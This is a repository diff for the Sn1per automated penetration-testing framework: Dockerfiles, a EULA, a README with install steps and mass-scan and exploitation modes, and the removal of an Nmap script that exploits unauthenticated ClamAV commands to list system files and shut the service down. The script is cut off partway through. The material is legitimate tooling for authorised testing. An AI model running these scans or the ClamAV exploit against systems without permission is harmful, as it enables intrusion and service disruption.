+FROM docker.io/kalilinux/kali-rolling:latest
+
+LABEL org.label-schema.name='Sn1per - Kali Linux' \
+    org.label-schema.description='Automated pentest framework for offensive security experts' \
+    org.label-schema.usage='https://github.com/1N3/Sn1per' \
+    org.label-schema.url='https://github.com/1N3/Sn1per' \
+    org.label-schema.vendor='https://sn1persecurity.com' \
+    org.label-schema.schema-version='1.0' \
+    org.label-schema.docker.cmd.devel='docker run --rm -ti xer0dayz/sniper' \
+    MAINTAINER="@xer0dayz"
+
+RUN echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" > /etc/apt/sources.list && \
+    echo "deb-src http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
+ENV DEBIAN_FRONTEND noninteractive
+
+RUN set -x \
+        && apt -yqq update \
+        && apt -yqq full-upgrade \
+        && apt clean
+RUN apt install --yes metasploit-framework
+
+RUN sed -i 's/systemctl status ${PG_SERVICE}/service ${PG_SERVICE} status/g' /usr/bin/msfdb && \
+    service postgresql start && \
+    msfdb reinit
+
+WORKDIR /usr/src/app
+
+RUN apt --yes install git bash
+RUN git clone https://github.com/1N3/Sn1per.git \
+    && cd Sn1per \
+    && ./install.sh \
+    && sniper -u force
+
+CMD ["sniper"]

Dockerfile.blackarch

@@ -0,0 +1,9 @@
+FROM docker.io/blackarchlinux/blackarch:latest
+
+# Upgrade system
+RUN pacman -Syu --noconfirm
+
+# Install sn1per from official repository
+RUN pacman -Sy sn1per --noconfirm
+
+CMD ["sn1per"]

LICENSE.md

@@ -0,0 +1,30 @@
+## LICENSE:
+Sn1per Community Edition End User License Agreement (EULA)
+
+Sn1perSecurity LLC grants you the right to download, use, and distribute in part or in whole Sn1per Community Edition (also referred to as “Project”, “Code”, “Software”, “Sn1per”, “Product”), provided the following terms and conditions are met:
+
+(1) You agree to give credit to the original author @xer0dayz and link back to https://sn1persecurity.com (Sn1perSecurity LLC)
+(2) You may not rename or rebrand the Project.
+(3) You agree not to create any product or service from any par of the Code from this Project, paid or free.
+(4) You agree not to re-license the Code.
+(5) You may not use the Code for illegal or nefarious purposes, which violates any laws (in your jurisdiction, the jurisdiction in which the Software is running, the jurisdiction in which the Software is targeting, and the United States of America).
+(6) You agree not to scan a target in a manner that is considered unlawful, illegal, or that you do not have explicit permission to do so.
+
+This Software is provided as-is without warranty. Sn1perSecurity LLC, its creators and staff take no liability for consequential damages to the maximum extent permitted by all applicable laws. In no event shall Sn1perSecurity LLC or any person be liable for any consequential, reliance, incidental, special, direct or indirect damages whatsoever (including without limitation, damages for loss of business profits, business interruption, loss of business information, personal injury, or any other loss) arising out of or in connection with the use or inability to use this Product, even if Sn1perSecurity LLC has been advised of the possibility of such damages.
+
+Sn1perSecurity LLC does not guarantee any functionality or performance of Sn1per Community Edition. Sn1perSecurity LLC does not warrant that the Code will be maintained and in good working order, or that the Software will meet your requirements, be uninterrupted, or error free, or that any errors in the Software will be corrected.
+
+The Software code, name, and logos are owned by Sn1perSecurity LLC and protected by the United States of America and the state of Arizona copyright and/or patent laws of international treaty provisions. All rights reserved.
+
+Sn1perSecurity LLC reserves the right to change the licensing terms at any time, without advance notice. Sn1perSecurity LLC reserves the right to terminate your license at any time.
+
+If any provision of this EULA is determined to be unlawful, void, or unenforceable, such provision shall nonetheless be enforceable to the fullest extent permitted by applicable law, and the unenforceable portion shall be deemed to be severed from this EULA. Such determination shall not affect the validity and enforceability of any remaining provisions.
+
+Failure of Sn1perSecurity LLC to exercise or enforce any right or provision of this EULA does not constitute a waiver of such right or provision.
+
+Any ambiguities in the interpretation of this EULA shall not be construed against the drafting party/parties.
+
+Download, use, distribution (in part or in whole) of this Project/Code constitutes your acceptance of the Sn1per Community Edition EULA. If at any time you are not in agreement or cannot meet any part of this EULA, you should immediately cease use of the Project by removing/uninstalling all copies from all locations.
+
+For any questions concerning this EULA, please submit a GitHub issue with your question: https://github.com/1N3/Sn1per
+

README.md

@@ -1,83 +1,375 @@
-![alt tag](https://github.com/1N3/Sn1per/blob/master/Sn1per-logo.jpg)
+[![Sn1per](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-professional-2026-hero-banner.png)](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/)
 
-## ABOUT:
-Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. 
+[![GitHub release](https://img.shields.io/github/release/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/releases)
+[![License](https://img.shields.io/github/license/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/blob/master/LICENSE.md)
+[![GitHub issues](https://img.shields.io/github/issues/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/issues)
+[![Last commit](https://img.shields.io/github/last-commit/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/commits/master)
+[![Contributors](https://img.shields.io/github/contributors/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/graphs/contributors)
 
-## DEMO VIDEO:
-[![Sn1per Demo](https://img.youtube.com/vi/nA_V_u3QZA4/0.jpg)](https://www.youtube.com/watch?v=nA_V_u3QZA4)
+[![GitHub Stars](https://img.shields.io/github/stars/1N3/Sn1per.svg?style=social&label=Stars)](https://github.com/1N3/Sn1per/stargazers)
+[![GitHub Forks](https://img.shields.io/github/forks/1N3/Sn1per.svg?style=social&label=Forks)](https://github.com/1N3/Sn1per/network/members)
+[![GitHub Followers](https://img.shields.io/github/followers/1N3.svg?style=social&label=Follow)](https://github.com/1N3)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/xer0dayz.svg?style=social&label=Follow)](https://twitter.com/intent/follow?screen_name=xer0dayz)
 
-## FEATURES:
-* Automatically collects basic recon (ie. whois, ping, DNS, etc.)
-* Automatically launches Google hacking queries against a target domain
-* Automatically enumerates open ports via NMap port scanning
-* Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers
-* Automatically checks for sub-domain hijacking
-* Automatically runs targeted NMap scripts against open ports
-* Automatically runs targeted Metasploit scan and exploit modules
-* Automatically scans all web applications for common vulnerabilities
-* Automatically brute forces ALL open services
-* Automatically test for anonymous FTP access
-* Automatically runs WPScan, Arachni and Nikto for all web services
-* Automatically enumerates NFS shares
-* Automatically test for anonymous LDAP access
-* Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities
-* Automatically enumerate SNMP community strings, services and users
-* Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067
-* Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers
-* Automatically tests for open X11 servers
-* Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds
-* Performs high level enumeration of multiple hosts and subnets
-* Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting
-* Automatically gathers screenshots of all web sites
-* Create individual workspaces to store all scan output
+[[Products](https://sn1persecurity.com/wordpress/shop/)] [[Attack Surface Management](https://sn1persecurity.com/wordpress/use-cases/)] [[About Sn1per](https://sn1persecurity.com/wordpress/about/)] [[News](https://sn1persecurity.com/wordpress/blog/)] [[Contact](https://sn1persecurity.com/wordpress/home/contact/)] [[Demo](https://sn1persecurity.com/wordpress/#video)] [[Pricing](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/)] [[Shop](https://sn1persecurity.com/wordpress/shop/)]
 
-## KALI LINUX INSTALL:
-```
-./install.sh
+# Sn1per — The Offensive-Security Platform for Modern Teams
+
+> Recon, scanning, exploitation, and reporting in a single workspace — whether you're a solo pentester or a global SOC.
+
+> ## Sn1per Professional 2026 is here
+>
+> The largest release since v10.0 — Docker-first deployment, Bootstrap 5 / Tabler UI, Workspace Navigator, Workspace + Host Reports with CSV / Excel / PDF export, JSON API v1.0, an Offcanvas Quick Commands sidebar with 13 panels, and expanded modules for ReverseAPK, MassPwn, Threat Intel, Nessus, and Burp.
+>
+> [Read the release notes →](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/) · [View pricing →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/)
+
+## Table of Contents
+
+- [About](#about-sn1per)
+- [What Sn1per Is For](#what-sn1per-is-for)
+- [What's New in 2026](#whats-new-in-2026)
+- [Editions & Pricing](#editions--pricing)
+- [Install](#install)
+- [Quick Start](#quick-start)
+- [Usage](#usage)
+- [Scan Modes](#scan-modes)
+- [Integrations](#integrations)
+- [Documentation & Help](#documentation--help)
+- [News & Releases](#news--releases)
+- [Community & Support](#community--support)
+- [Contributing](#contributing)
+- [License & Legal](#license--legal)
+
+## About Sn1per
+
+Sn1per is an offensive-security platform that consolidates reconnaissance, vulnerability scanning, exploitation, and reporting into a single workspace. Built by pentesters since 2015, it ships in three editions — a free Community Edition (source-available, custom EULA — see LICENSE.md) in this repository, a paid Professional edition for individual operators and small teams, and an Enterprise edition for global SOCs — all backed by the same core scanning engine.
+
+Sn1per orchestrates 90+ third-party tools, ships with 600+ exploits and 10,000+ detections, and is used by 500+ teams worldwide. Battle-tested by the community. Built by pentesters, for pentesters.
+
+**500+** Teams · **90+** Integrations · **10,000+** Detections · **600+** Exploits · Trusted since **2015**
+
+## What Sn1per Is For
+
+Sn1per ships as one platform that covers the core jobs offensive security teams otherwise stitch together from a dozen tools:
+
+- **[External Attack Surface Management](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/)** - continuous discovery, monitoring, and active exploitation of every internet-facing asset your organization owns, including the ones nobody on your team knows about.
+- **[Continuous Attack Surface Management](https://sn1persecurity.com/wordpress/continuous-attack-surface-management-with-sn1per-professional/)** - daily-cadence rescans that diff yesterday's surface against today's so new exposures hit your SOC within hours, not the next quarterly pentest.
+- **[Automated Penetration Testing](https://sn1persecurity.com/wordpress/automated-penetration-testing/)** - 600+ exploits and 10,000+ detections orchestrated as a single workflow, with active verification eliminating the false positives version-only scanners ship as "critical."
+- **[Reconnaissance & Attack Surface Discovery](https://sn1persecurity.com/wordpress/reconnaissance-methodology/)** - the full phased recon workflow, from OSINT and subdomain enumeration through live-host discovery and fingerprinting, run as one automated pass.
+
+## What's New in 2026
+
+[![Sn1per Pro 2026 Workspace Navigator](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-pro-2026-workspace-navigator.png)](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)
+
+*Workspace Navigator — switch contexts across hosts, scopes, and engagements.*
+
+[![Sn1per Pro 2026 Dashboard](https://sn1persecurity.com/wordpress/wp-content/uploads/2026/04/sn1per-pro-2026-dashboard.png)](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)
+
+*Dashboard — at-a-glance scan posture, top findings, and exploitable assets.*
+
+### Highlights
+
+- **Docker-first deployment** — same image, every distro
+- **Bootstrap 5 / Tabler UI** — refreshed responsive interface with light + dark mode
+- **Workspace Navigator** — fast workspace switching with state preservation
+- **Workspace & Host Reports** — CSV, Excel, and PDF export
+- **JSON API v1.0** — programmatic access for CI / SOAR / SIEM pipelines
+- **Offcanvas Quick Commands** — 13 panels, every common action one click away
+- **Expanded modules** — ReverseAPK, MassPwn, Threat Intel, Nessus, Burp Suite
+- **Maturing SC0PE framework** — more parsers, better noise reduction
+- **Hardened PHP library stack** — modern dependencies, audited components
+- **New CLI flags** — `-v` (verbose), `-db` (debug), `-rr` (remove resume files)
+
+> *"Sn1per Professional 2026 is the largest release since the v10.0 line."*
+
+[Read the full release notes →](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)
+
+## Editions & Pricing
+
+The [Community Edition](https://sn1persecurity.com/wordpress/sn1per-community-edition/) is free and lives in this repository. The Professional and Enterprise editions add a Web UI, commercial integrations, and email support.
+
+| | **Sn1per Professional** | **Sn1per Enterprise** |
+|---|---|---|
+| **Price** | $984 / year (per seat) | Get a quote |
+| **Subscription** | 1 year | 1 year |
+| **— Included —** | | |
+| Web UI | Professional Web UI | Enterprise Web UI |
+| Scan Engine & UI Updates | ✓ | ✓ |
+| All Modules & Integrations | ✓ | ✓ |
+| On-Prem (Self Hosted) | ✓ | ✓ |
+| Email Support | 1 Year | 1 Year |
+| Improved Speed & Scalability | — | ✓ |
+| Cutting-Edge Features | — | ✓ |
+| **— Limits & Quotas —** | | |
+| Max Scans | Unlimited | Unlimited |
+| Max Assets / Workspace | 30 | Unlimited |
+| Max Workspaces | 5 | Unlimited |
+| Total Assets | 150 | 500+ |
+| Licensed Systems | 1 | 1 |
+
+[Buy a Sn1per Professional license →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/) · [Get an Enterprise quote →](https://sn1persecurity.com/wordpress/request-a-quote/)
+
+## Install
+
+### Linux (Kali / Ubuntu / Debian / Parrot)
+
+```bash
+git clone https://github.com/1N3/Sn1per.git
+cd Sn1per
+sudo bash install.sh
 ```
 
-## DOCKER INSTALL:
+> Sn1per installs to `/usr/share/sniper` and requires root. Use `sudo bash install.sh force` to skip the confirmation prompt.
 
-Docker Install:
-https://github.com/menzow/sn1per-docker
+### Docker
 
-Docker Build:
-https://hub.docker.com/r/menzo/sn1per-docker/builds/bqez3h7hwfun4odgd2axvn4/
+[Sn1per on Docker Hub →](https://hub.docker.com/r/sn1persecurity/sn1per)
 
-Example usage:
-```
-$ docker pull menzo/sn1per-docker
-$ docker run --rm -ti menzo/sn1per-docker sniper menzo.io
+#### Kali Linux base
+
+```bash
+sudo docker compose up
+sudo docker run --privileged -it sn1per-kali-linux /bin/bash
 ```
 
-## USAGE:
-```
-sniper <target> <report>
-sniper <target> stealth <report>
-sniper <CIDR> discover
-sniper <target> port <portnum> 
-sniper <target> fullportonly <portnum>
-sniper <target> web <report>
-sniper <target> nobrute <report>
-sniper <targets.txt> airstrike <report>
-sniper <targets.txt> nuke <report>
-sniper loot
-sniper update
+#### BlackArch base
+
+```bash
+sudo docker compose -f docker-compose-blackarch.yml up
+sudo docker run --privileged -it sn1per-blackarch /bin/bash
 ```
 
-### MODES:
-* **REPORT:** Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command.
-* **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking
-* **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.
-* **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.
-* **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.
-* **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.   
-* **NOBRUTE:** Launches a full scan against a target host/domain without brute forcing services.
-* **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IP's that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.
-* **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. 
-* **LOOT:** Automatically organizes and displays loot folder in your browser and opens Metasploit Pro and Zenmap GUI with all port scan results. To run, type 'sniper loot'.
-* **UPDATE:** Checks for updates and upgrades all components used by sniper.
+### AWS Marketplace (EC2 AMI)
 
-## SAMPLE REPORT:
-https://gist.github.com/1N3/8214ec2da2c91691bcbc
+Subscribe via [AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-rmloab6wnymno):
 
+1. Click **Continue to Subscribe**
+2. Click **Continue to Configuration**, choose region/instance type
+3. Click **Continue to Launch**
+4. SSH to the EC2 public IP — Sn1per is preinstalled
+
+## Quick Start
+
+```bash
+sudo bash install.sh
+sniper -t example.com -m normal
+```
+
+Results land in `/usr/share/sniper/loot/<workspace>/`. See [Usage](#usage) for more modes.
+
+## Usage
+
+```
+[*] NORMAL MODE
+sniper -t <TARGET>
+
+[*] NORMAL MODE + OSINT + RECON
+sniper -t <TARGET> -o -re
+
+[*] STEALTH MODE + OSINT + RECON
+sniper -t <TARGET> -m stealth -o -re
+
+[*] DISCOVER MODE
+sniper -t <CIDR> -m discover -w <WORKSPACE_ALIAS>
+
+[*] SCAN ONLY SPECIFIC PORT
+sniper -t <TARGET> -m port -p <portnum>
+
+[*] FULLPORTONLY SCAN MODE
+sniper -t <TARGET> -fp
+
+[*] WEB MODE - PORT 80 + 443 ONLY!
+sniper -t <TARGET> -m web
+
+[*] HTTP WEB PORT MODE
+sniper -t <TARGET> -m webporthttp -p <port>
+
+[*] HTTPS WEB PORT MODE
+sniper -t <TARGET> -m webporthttps -p <port>
+
+[*] HTTP WEBSCAN MODE
+sniper -t <TARGET> -m webscan
+
+[*] ENABLE BRUTEFORCE
+sniper -t <TARGET> -b
+
+[*] AIRSTRIKE MODE
+sniper -f targets.txt -m airstrike
+
+[*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED
+sniper -f targets.txt -m nuke -w <WORKSPACE_ALIAS>
+
+[*] MASS PORT SCAN MODE
+sniper -f targets.txt -m massportscan
+
+[*] MASS WEB SCAN MODE
+sniper -f targets.txt -m massweb
+
+[*] MASS WEBSCAN SCAN MODE
+sniper -f targets.txt -m masswebscan
+
+[*] MASS VULN SCAN MODE
+sniper -f targets.txt -m massvulnscan
+
+[*] PORT SCAN MODE
+sniper -t <TARGET> -m port -p <PORT_NUM>
+
+[*] LIST WORKSPACES
+sniper --list
+
+[*] DELETE WORKSPACE
+sniper -w <WORKSPACE_ALIAS> -d
+
+[*] DELETE HOST FROM WORKSPACE
+sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh
+
+[*] GET SNIPER SCAN STATUS
+sniper --status
+
+[*] LOOT REIMPORT FUNCTION
+sniper -w <WORKSPACE_ALIAS> --reimport
+
+[*] LOOT REIMPORTALL FUNCTION
+sniper -w <WORKSPACE_ALIAS> --reimportall
+
+[*] LOOT RELOAD FUNCTION
+sniper -w <WORKSPACE_ALIAS> --reload
+
+[*] LOOT EXPORT FUNCTION
+sniper -w <WORKSPACE_ALIAS> --export
+
+[*] SCHEDULED SCANS
+sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly
+
+[*] USE A CUSTOM CONFIG
+sniper -c /path/to/sniper.conf -t <TARGET> -w <WORKSPACE_ALIAS>
+
+[*] UPDATE SNIPER
+sniper -u|--update
+
+[*] VERBOSE OUTPUT (NEW IN 2026)
+sniper -t <TARGET> -m airstrike -v
+
+[*] DEBUG OUTPUT (NEW IN 2026)
+sniper -t <TARGET> -m normal -db
+
+[*] REMOVE RESUME FILES (NEW IN 2026)
+sniper -t <TARGET> -m airstrike -v -rr
+```
+
+## Scan Modes
+
+| Mode | Description |
+|------|-------------|
+| `normal` | Active + passive scan of the target and its open ports |
+| `stealth` | Quick, mostly non-intrusive enumeration to avoid WAF / IPS |
+| `flyover` | Fast multi-threaded high-level scans of many hosts |
+| `airstrike` | Open-port enumeration + basic fingerprinting against a host file |
+| `nuke` | Full audit across all targets in a host file |
+| `discover` | Walks a CIDR and runs Sn1per on every live host |
+| `port` | Targeted scan of a specific port |
+| `fullportonly` | Full TCP port scan, results saved to XML |
+| `web` | Web app scan on `80/tcp` + `443/tcp` only |
+| `webporthttp` / `webporthttps` | Web app scan on a specific HTTP / HTTPS port |
+| `webscan` | Full HTTP + HTTPS web app scan via Burp Suite + Arachni |
+| `vulnscan` | OpenVAS vulnerability scan |
+| `mass*` | Multi-target variants of the above (`-f targets.txt`) |
+
+## Integrations
+
+Sn1per ships with native integrations for **90+ tools and services**. Featured partners:
+
+| Category | Integrations |
+|----------|--------------|
+| **Vulnerability scanners** | [Nessus](https://github.com/1N3/Sn1per/wiki/Nessus-Integration) · [OpenVAS](https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration) · [GVM 21.x](https://github.com/1N3/Sn1per/wiki/GVM-21.x-Integration) · Nuclei |
+| **Web app testing** | [Burp Suite Pro](https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration) · [OWASP ZAP](https://github.com/1N3/Sn1per/wiki/OWASP-ZAP-Integration) · [WPScan](https://github.com/1N3/Sn1per/wiki/WPScan-API-Integration) |
+| **Exploitation** | [Metasploit](https://github.com/1N3/Sn1per/wiki/Metasploit-Integration) |
+| **Reconnaissance** | [Shodan](https://github.com/1N3/Sn1per/wiki/Shodan-Integration) · [Censys](https://github.com/1N3/Sn1per/wiki/Censys-API-Integration) · [Hunter.io](https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration) · VirusTotal · Nmap |
+| **AI / LLM** | OpenAI · Claude · Gemini |
+| **Notifications & DevOps** | [Slack](https://github.com/1N3/Sn1per/wiki/Slack-API-Integration) · [GitHub API](https://github.com/1N3/Sn1per/wiki/Github-API-Integration) |
+
+[Browse all integrations on the wiki →](https://github.com/1N3/Sn1per/wiki)
+
+## Documentation & Help
+
+- [Getting Started](docs/getting-started.md)
+- [Installation](docs/installation.md)
+- [Configuration](docs/configuration.md)
+- [Usage](docs/usage.md)
+- [Architecture](docs/architecture.md)
+- [Integrations](docs/integrations.md)
+- [Troubleshooting](docs/troubleshooting.md)
+- [Wiki — full reference](https://github.com/1N3/Sn1per/wiki)
+- [Sn1per Documentation Hub](https://sn1persecurity.com/wordpress/documentation/)
+- [Passive Reconnaissance Techniques for Penetration Testers](https://sn1persecurity.com/wordpress/passive-reconnaissance-techniques-for-penetration-testing/)
+- [CVE-2024-21733 — Apache Tomcat HTTP Request Smuggling writeup](https://sn1persecurity.com/wordpress/cve-2024-21733-apache-tomcat-http-request-smuggling/)
+
+### Configuration & Templates
+
+- [Plugins & Tools](https://github.com/1N3/Sn1per/wiki/Plugins-&-Tools)
+- [Scheduled Scans](https://github.com/1N3/Sn1per/wiki/Scheduled-Scans)
+- [Sn1per Configuration Options](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Options)
+- [Sn1per Configuration Templates](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Templates)
+- [Sc0pe Templates](https://github.com/1N3/Sn1per/wiki/Sc0pe-Templates)
+
+## News & Releases
+
+- **[Sn1per Professional 2026 Released](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)** - April 26, 2026
+- [Introducing SILENTCHAIN AI Community Edition v1.1.3](https://sn1persecurity.com/wordpress/introducing-silentchain-ai-community-edition-v1-1-3/) - February 11, 2026
+- [Sn1per SE v11.0 Now Available](https://sn1persecurity.com/wordpress/sn1per-se-v11-released/) - January 8, 2026
+
+### Guides & deep dives (2026)
+
+**Reconnaissance**
+
+- [Reconnaissance Methodology](https://sn1persecurity.com/wordpress/reconnaissance-methodology/) - Sn1per's full recon-to-report workflow, phase by phase, from OSINT to reporting
+- [Subdomain Enumeration](https://sn1persecurity.com/wordpress/subdomain-enumeration/) - passive sources, active brute force, and subdomain-takeover checks
+- [Active Reconnaissance](https://sn1persecurity.com/wordpress/active-reconnaissance/) - port scanning, service and technology fingerprinting, and endpoint discovery
+
+**Penetration testing**
+
+- [Automated Penetration Testing](https://sn1persecurity.com/wordpress/automated-penetration-testing/) - the method, the tooling, and the continuous-testing model
+- [Best Automated Pentest Tools](https://sn1persecurity.com/wordpress/automated-pentest-tools/) - the 2026 open-source and all-in-one pentest tooling landscape
+- [Continuous Penetration Testing (PTaaS)](https://sn1persecurity.com/wordpress/continuous-penetration-testing/) - the always-on model beyond the once-a-year pentest
+
+**Attack surface management**
+
+- [Red Team Attack Surface Management](https://sn1persecurity.com/wordpress/red-team-attack-surface-management/) - running Sn1per as a continuous red-team and adversarial-exposure-validation workflow
+- [Adversarial Exposure Validation](https://sn1persecurity.com/wordpress/adversarial-exposure-validation/) - proving which exposures are actually exploitable, not just present
+- [Continuous Attack Surface Testing](https://sn1persecurity.com/wordpress/continuous-attack-surface-testing/) - daily-cadence rescans that diff yesterday's surface against today's
+- [On-Prem External Attack Surface Management](https://sn1persecurity.com/wordpress/best-on-prem-external-attack-surface-management-platform/) - self-hosted, air-gapped ASM with zero data leaving your perimeter
+- [Open-Source Self-Hosted ASM Tools](https://sn1persecurity.com/wordpress/open-source-self-hosted-attack-surface-management-tools/) - the self-hosted attack surface management tooling landscape
+- [External Attack Surface Management with Sn1per](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/) - background reading on the ASM use case
+
+[All releases & blog posts →](https://sn1persecurity.com/wordpress/blog/)
+
+## Community & Support
+
+- **Bugs:** [Open an issue](https://github.com/1N3/Sn1per/issues)
+- **Twitter:** [@xer0dayz](https://twitter.com/xer0dayz)
+- **YouTube:** [Sn1per Security](https://www.youtube.com/c/Sn1perSecurity/videos) - latest demo: [Continuous Attack Surface Testing](https://youtu.be/GBr7vjbGRBA)
+- **Email (Pro / Enterprise customers):** see your license email
+
+## Contributing
+
+Pull requests welcome. For substantial changes, open an issue first to discuss the design.
+
+- Mode scripts live in [`modes/`](modes/) — one bash file per scan mode
+- Test changes against a controlled target before opening a PR
+- Follow [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) format in [`CHANGELOG.md`](CHANGELOG.md)
+
+35 contributors and counting. Thank you.
+
+## License & Legal
+
+- **Code:** see [`LICENSE.md`](LICENSE.md) and [`THIRD_PARTY_LICENSES.md`](THIRD_PARTY_LICENSES.md)
+- **Notices:** see [`NOTICE`](NOTICE)
+- **Trademark:** "Sn1per" and the Sn1per logo are trademarks of Sn1perSecurity LLC. Use in derivative works requires permission. Contact: [sn1persecurity.com](https://sn1persecurity.com)
+
+---
+
+## About Sn1perSecurity
+
+Sn1per is built and maintained by [Sn1perSecurity](https://sn1persecurity.com), the team behind the [Sn1per attack surface management and automated penetration testing platform](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/). Small team of pentesters shipping offensive-security tooling since 2015. We focus on the workflows we want to use ourselves — fast recon, ergonomic reporting, honest pricing, and a Community Edition that genuinely keeps up with the commercial editions. If that resonates, [say hi](https://twitter.com/xer0dayz).
+
+**Topics:** `penetration-testing` · `offensive-security` · `attack-surface-management` · `vulnerability-scanner` · `recon` · `osint` · `red-team` · `bug-bounty` · `security-tools`

TODO.md

@@ -1,4 +0,0 @@
-###TODO:
-
-* Add proxy support for all scans
-* Add automatic reporting for all scans by default

bin/clamav-exec.nse

@@ -1,243 +0,0 @@
-local shortport = require "shortport"
-local vulns = require "vulns" 
-local nmap = require "nmap"
-local stdnse = require "stdnse"
-local table = require "table"
-local io = require "io"
-local string = require "string"
-
-description = [[
-Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution. 
-
-ClamAV server 0.99.2, and possibly other previous versions, allow the execution 
-of dangerous service commands without authentication. Specifically, the command 'SCAN' 
-may be used to list system files and the command 'SHUTDOWN' shut downs the 
-service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
-
-This script without arguments test the availability of the command 'SCAN'. 
-
-Reference:
-* https://twitter.com/nitr0usmx/status/740673507684679680
-* https://bugzilla.clamav.net/show_bug.cgi?id=11585
-]]
-
----
--- @usage 
--- nmap -sV --script clamav-exec <target>
--- nmap --script clamav-exec --script-args cmd='scan',scandb='files.txt' <target>
--- nmap --script clamav-exec --script-args cmd='shutdown' <target>
--- 
--- @output
--- PORT     STATE SERVICE VERSION
--- 3310/tcp open  clam    ClamAV 0.99.2 (21714)
--- | clamav-exec: 
--- |   VULNERABLE:
--- |   ClamAV Remote Command Execution
--- |     State: VULNERABLE
--- |       ClamAV 0.99.2, and possibly other previous versions, allow the execution of the 
--- |       clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN' 
--- |       may be used to enumerate system files and the command 'SHUTDOWN' shut downs the 
--- |       service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
--- |       
--- |     Disclosure date: 2016-06-8
--- |     Extra information:
--- |       SCAN command is enabled.
--- |     References:
--- |       https://bugzilla.clamav.net/show_bug.cgi?id=11585
--- |_      https://twitter.com/nitr0usmx/status/740673507684679680
--- @xmloutput 
--- <table key="NMAP-1">
--- <elem key="title">ClamAV Remote Command Execution</elem>
--- <elem key="state">VULNERABLE</elem>
--- <table key="description">
--- <elem>ClamAV 0.99.2, and possibly other previous versions, allow the execution 
--- of the &#xa;clamav commands SCAN and SHUTDOWN without authentication. 
--- The command &apos;SCAN&apos; &#xa;may be used to enumerate system files and 
--- the command &apos;SHUTDOWN&apos; shut downs the &#xa;service. 
--- This vulnerability was discovered by Alejandro Hernandez (nitr0us).&#xa;</elem>
--- </table>
--- <table key="dates">
--- <table key="disclosure">
--- <elem key="year">2016</elem>
--- <elem key="day">8</elem>
--- <elem key="month">06</elem>
--- </table>
--- </table>
--- <elem key="disclosure">2016-06-8</elem>
--- <table key="extra_info">
--- <elem>SCAN command is enabled.</elem>
--- </table>
--- <table key="refs">
--- <elem>https://bugzilla.clamav.net/show_bug.cgi?id=11585</elem>
--- <elem>https://twitter.com/nitr0usmx/status/740673507684679680</elem>
--- </table>
--- </table>
---
--- @args clamav-exec.cmd Command to execute. Option: scan and shutdown
--- @args clamav-exec.scandb Database to file list. 
----
-
-author = "Paulino Calderon <calderon()websec.mx>"
-license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
-categories = {"exploit", "vuln"}
-
-portrule = shortport.port_or_service{3310, "clam"}
-
-local function shutdown(host, port)
-  local s = nmap.new_socket()
-  local status, err = s:connect(host, port)
-  if not status then
-    stdnse.debug1("Failed to connect")
-    return nil
-  end
-  status, err = s:send("SHUTDOWN")
-  if not status then
-    stdnse.debug1("Failed to send SHUTDOWN command")
-    return nil
-  end
-  return true
-end
-
----
--- scan(host, port, file)
--- Sends SCAN %FILE command to clamav.
--- If no file is specified, we query a non existing file to check the response.
---
-local function scan(host, port, file)
-  local data
-  local s = nmap.new_socket()
-  local status, err = s:connect(host, port)
-  if not status then
-    stdnse.debug1("Failed to connect")
-    return nil
-  end
-
-  if not file then
-    status, err = s:send("SCAN /trinity/loves/nmap")
-    if not status then
